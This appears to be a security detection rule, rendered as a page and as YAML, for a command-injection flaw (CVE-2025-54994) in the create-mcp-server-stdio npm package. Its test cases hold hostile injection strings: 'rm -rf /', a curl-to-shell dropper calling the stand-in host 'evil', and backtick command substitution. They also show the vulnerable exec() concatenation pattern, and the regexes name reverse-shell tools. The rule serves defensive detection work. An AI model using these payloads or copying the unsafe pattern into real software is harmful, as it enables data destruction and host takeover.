Command Injection in create-mcp-server-stdio via Unsafe exec() Concatenation (CVE-2025-54994)

GitHub Security Advisory GHSA-3ch2-jxxc-v4xf (CVE-2025-54994). The create-mcp-server-stdio npm package builds shell commands by concatenating MCP stdio tool parameters directly into exec(), so shell metacharacters supplied through a tool argument (; | && $() backticks) are interpreted by the shell and execute arbitrary commands on the server host (RCE).

Response Actions

References

1. 01

   Detects the create-mcp-server-stdio exec() construct that concatenates a variable into the shell command string (string + concatenation or template literal ${...} interpolation), the exact CVE-2025-54994 sink.

   field: contentop: regex
2. 02

   Detects an MCP stdio tool parameter routed into create-mcp-server-stdio's exec() that already carries shell metacharacters (command separators, pipes, backtick or $() command substitution), indicating live injection.

   field: tool_inputop: regex
3. 03

   Detects create-mcp-server-stdio exec() carrying a classic post-injection payload (reverse shell, destructive rm, or curl|sh dropper) inside the concatenated command.

   field: contentop: regex

Attack Examples (Rule Triggers)

1. create-mcp-server-stdio: exec("ls " + toolInput.path)

2. const { stdout } = await exec("git log " + args.ref); // create-mcp-server-stdio handler

3. create-mcp-server-stdio handler => exec(`cat ${params.file}`)

4. create-mcp-server-stdio tool called with path="; rm -rf /" -> exec("ls ; rm -rf /")

5. create-mcp-server-stdio exec("ping " + host) where host=$(curl http://evil/x|sh)

6. create-mcp-server-stdio: exec("echo `whoami`") from tool param

Real-world attack payloads (sanitized). Used for regression testing.

Benign Examples (Rule Doesn't Trigger)

1. legitimate scaffold/CLI usage of the package with clean args

   npx create-mcp-server-stdio my-server --transport stdio

2. safe execFile with an argument array (the recommended fix)

   create-mcp-server-stdio scaffolds a stdio MCP server using execFile("git", ["log", args.ref])

3. spawn with arg array and shell disabled, no concatenation

   await spawn("ls", [userPath], { shell: false }) // create-mcp-server-stdio handler

4. patch-discussion / advisory text mentioning the package and fix

   CVE-2025-54994 was fixed in create-mcp-server-stdio by replacing exec() with spawn() and an argument array.

5. research abstract mentioning the package without an exec() concatenation sink

   Our research evaluated create-mcp-server-stdio among MCP stdio servers for unsafe command-execution patterns and shell metacharacter handling.

6. normal library import and instantiation, no exec sink

   import { createServer } from "create-mcp-server-stdio"; const server = createServer({ name: "demo" });

7. generic exec with a static command, unrelated to create-mcp-server-stdio

   exec("ls -la", { cwd: workdir }, callback)

title: Command Injection in create-mcp-server-stdio via Unsafe exec() Concatenation (CVE-2025-54994)
id: ATR-2026-00577
rule_version: 1
status: experimental
description: 'GitHub Security Advisory GHSA-3ch2-jxxc-v4xf (CVE-2025-54994). The
  create-mcp-server-stdio npm package builds shell commands by concatenating MCP
  stdio tool parameters directly into exec(), so shell metacharacters supplied
  through a tool argument (; | && $() backticks) are interpreted by the shell and
  execute arbitrary commands on the server host (RCE).

  '
author: ATR Community (vulnerablemcp sync)
date: 2026/06/12
schema_version: '0.1'
detection_tier: pattern
maturity: experimental
severity: critical
references:
  owasp_llm:
  - "LLM06:2025 - Excessive Agency"
  - "LLM05:2025 - Improper Output Handling"
  owasp_agentic:
  - "ASI02:2026 - Tool Misuse and Exploitation"
  - "ASI05:2026 - Unexpected Code Execution"
  mitre_atlas:
  - "AML.T0053 - LLM Plugin Compromise"
  - "AML.T0051.001 - Indirect Prompt Injection"
  cve:
  - CVE-2025-54994
  cwe:
  - CWE-78
  ghsa:
  - GHSA-3ch2-jxxc-v4xf
  vulnerablemcp_id:
  - cve-2025-54994-command-injection-mcp-stdio
  external:
  - https://github.com/advisories/GHSA-3ch2-jxxc-v4xf
metadata_provenance:
  vulnerablemcp: vulnerablemcp-sync
  cve: vulnerablemcp-sync
  cwe: vulnerablemcp-sync
compliance:
  owasp_agentic:
    - id: ASI02:2026
      context: "OWASP Agentic ASI02:2026 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection of that technique."
      strength: primary
    - id: ASI05:2026
      context: "OWASP Agentic ASI05:2026 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection of that technique."
      strength: secondary
  owasp_llm:
    - id: LLM06:2025
      context: "OWASP LLM LLM06:2025 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule is a detection implementation for that category."
      strength: primary
    - id: LLM05:2025
      context: "OWASP LLM LLM05:2025 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule is a detection implementation for that category."
      strength: secondary
  eu_ai_act:
    - article: "15"
      context: "EU AI Act Article 15 (accuracy, robustness and cybersecurity) requires controls against command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection evidence for that obligation."
      strength: primary
    - article: "9"
      context: "EU AI Act Article 9 (risk management system) requires controls against command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection evidence for that obligation."
      strength: secondary
  nist_ai_rmf:
    - function: Manage
      subcategory: MG.2.3
      context: "NIST AI RMF MG.2.3 (risk treatment options selected and tracked) is supported by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: primary
    - function: Measure
      subcategory: MS.2.7
      context: "NIST AI RMF MS.2.7 (security and resilience evaluated and documented) is supported by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control, including control of externally-provided processes) is operationalised by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is operationalised by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: secondary

tags:
  category: tool-poisoning
  scan_target: runtime
  confidence: high
agent_source:
  type: mcp_exchange
  framework:
  - any
  provider:
  - any
detection:
  condition: any
  false_positives: []
  conditions:
  - field: content
    operator: regex
    value: (?i)(?:create-mcp-server-stdio[^\n]{0,200}\bexec\s*\(\s*(?:[`"'\x27][^`"'\x27\n]{0,160}[`"'\x27]\s*\+|`[^`\n]{0,160}\$\{)|\bexec\s*\(\s*(?:[`"'\x27][^`"'\x27\n]{0,160}[`"'\x27]\s*\+|`[^`\n]{0,160}\$\{)[^\n]{0,200}create-mcp-server-stdio)
    description: Detects the create-mcp-server-stdio exec() construct that concatenates
      a variable into the shell command string (string + concatenation or template
      literal ${...} interpolation), the exact CVE-2025-54994 sink.
  - field: tool_input
    operator: regex
    value: (?i)create-mcp-server-stdio[^\n]{0,200}\bexec\s*\([^)\n]{0,160}(?:;\s*\S|&&\s*\S|\|\|\s*\S|\|\s*\w|`[a-z][\w/.-]*`|\$\([a-z])
    description: Detects an MCP stdio tool parameter routed into create-mcp-server-stdio's
      exec() that already carries shell metacharacters (command separators, pipes,
      backtick or $() command substitution), indicating live injection.
  - field: content
    operator: regex
    value: (?i)create-mcp-server-stdio[^\n]{0,160}(?:\bexec\s*\([^)\n]{0,120})(?:\brm\s+-rf|\bnc\s+-[a-z]*e|/bin/sh|\bbash\s+-i|\bcurl\s+[^\n|]{0,80}\|\s*(?:sh|bash)|\bwget\s+[^\n|]{0,80}\|\s*(?:sh|bash))
    description: Detects create-mcp-server-stdio exec() carrying a classic post-injection
      payload (reverse shell, destructive rm, or curl|sh dropper) inside the
      concatenated command.
response:
  actions:
  - alert
  - block_tool
  message_template: '[ATR-2026-00577] CVE-2025-54994: create-mcp-server-stdio passes
    MCP stdio tool input into exec() with shell metacharacters, enabling arbitrary
    command execution (CWE-78 / RCE). Remediation: upgrade create-mcp-server-stdio
    to a patched release, and replace exec() with execFile()/spawn() using an
    argument array (never concatenate tool input into a shell string); validate and
    sandbox all MCP stdio server input.'
  notify:
  - security_team
confidence: 85
wild_fp_rate: 0
test_cases:
  true_positives:
  - input: 'create-mcp-server-stdio: exec("ls " + toolInput.path)'
    expected: triggered
    description: exec() concatenating a tool parameter into the shell command (the CVE sink)
  - input: 'const { stdout } = await exec("git log " + args.ref); // create-mcp-server-stdio handler'
    expected: triggered
    description: string + concatenation of MCP arg into exec within create-mcp-server-stdio
  - input: 'create-mcp-server-stdio handler => exec(`cat ${params.file}`)'
    expected: triggered
    description: template-literal interpolation of tool input into exec
  - input: 'create-mcp-server-stdio tool called with path="; rm -rf /" -> exec("ls ; rm -rf /")'
    expected: triggered
    description: live injection payload with command separator and destructive rm in exec
  - input: 'create-mcp-server-stdio exec("ping " + host) where host=$(curl http://evil/x|sh)'
    expected: triggered
    description: command substitution $() carried through create-mcp-server-stdio exec
  - input: 'create-mcp-server-stdio: exec("echo `whoami`") from tool param'
    expected: triggered
    description: backtick command substitution in create-mcp-server-stdio exec sink
  true_negatives:
  - input: 'npx create-mcp-server-stdio my-server --transport stdio'
    expected: not_triggered
    description: legitimate scaffold/CLI usage of the package with clean args
  - input: 'create-mcp-server-stdio scaffolds a stdio MCP server using execFile("git", ["log", args.ref])'
    expected: not_triggered
    description: safe execFile with an argument array (the recommended fix)
  - input: 'await spawn("ls", [userPath], { shell: false }) // create-mcp-server-stdio handler'
    expected: not_triggered
    description: spawn with arg array and shell disabled, no concatenation
  - input: 'CVE-2025-54994 was fixed in create-mcp-server-stdio by replacing exec() with spawn() and an argument array.'
    expected: not_triggered
    description: patch-discussion / advisory text mentioning the package and fix
  - input: 'Our research evaluated create-mcp-server-stdio among MCP stdio servers for unsafe command-execution patterns and shell metacharacter handling.'
    expected: not_triggered
    description: research abstract mentioning the package without an exec() concatenation sink
  - input: 'import { createServer } from "create-mcp-server-stdio"; const server = createServer({ name: "demo" });'
    expected: not_triggered
    description: normal library import and instantiation, no exec sink
  - input: 'exec("ls -la", { cwd: workdir }, callback)'
    expected: not_triggered
    description: generic exec with a static command, unrelated to create-mcp-server-stdio
_llm_authored:
  model: claude (gstack subagent)
  generalization_note: 'The rule generalizes beyond the literal PoC by anchoring on
    create-mcp-server-stdio together with its specific exec() concatenation sink:
    (1) string + concatenation of a variable into the shell command, (2) template
    literal ${...} interpolation, and (3) live shell metacharacters (; | && $()
    backticks) or classic post-injection payloads (reverse shell, rm -rf, curl|sh)
    appearing inside that exec() call. The create-mcp-server-stdio marker may appear
    within 200 chars on EITHER side of the exec() sink (e.g. as a leading handler
    label or a trailing handler comment), so the package context is still required
    but its position relative to the sink is not fixed. It deliberately does NOT match the JSON
    "command"/"args" config arrays (Flowise/LibreChat/litellm/mcp-stdio-config
    rules) nor the --mcp CLI flag form (PraisonAI), so the surface is unique to the
    create-mcp-server-stdio exec() concatenation construct. Safe execFile/spawn with
    argument arrays, scaffold CLI usage, library imports, and advisory/research text
    are excluded.'
  note: Generation-time authoring; verified by deterministic gate. Runtime detection
    is pure regex. Human review required before merge.